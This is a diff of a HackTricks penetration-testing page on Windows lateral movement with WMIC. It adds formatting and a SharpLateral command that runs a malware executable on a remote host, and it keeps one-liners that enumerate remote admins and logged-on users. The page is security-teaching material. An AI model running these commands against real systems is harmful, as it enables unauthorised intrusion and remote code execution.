 <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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 </details>
 
@@ -133,13 +129,15 @@ wmic sysaccount list /format:list
 
 For example, here's a very stealthy way to discover local admins on a remote machine (note that domain is the computer name):
 
+{% code overflow="wrap" %}
 ```bash
 wmic /node:ordws01 path win32_groupuser where (groupcomponent="win32_group.name=\"administrators\",domain=\"ORDWS01\"")  
 ```
+{% endcode %}
 
 Another useful oneliner is to see who is logged on to a machine (for when you're hunting admins):
 
-```
+```bash
 wmic /node:ordws01 path win32_loggedonuser get antecedent  
 ```
 
@@ -159,18 +157,24 @@ We see it executed successfully (ReturnValue = 0). And a second later our Empire
 
 All this information was extracted from here: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
 
+## Automatic Tools
+
+* [**SharpLateral**](https://github.com/mertdas/SharpLateral):
+
+{% code overflow="wrap" %}
+```bash
+SharpLateral redwmi HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe
+```
+{% endcode %}
+
 <details>
 
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 </details>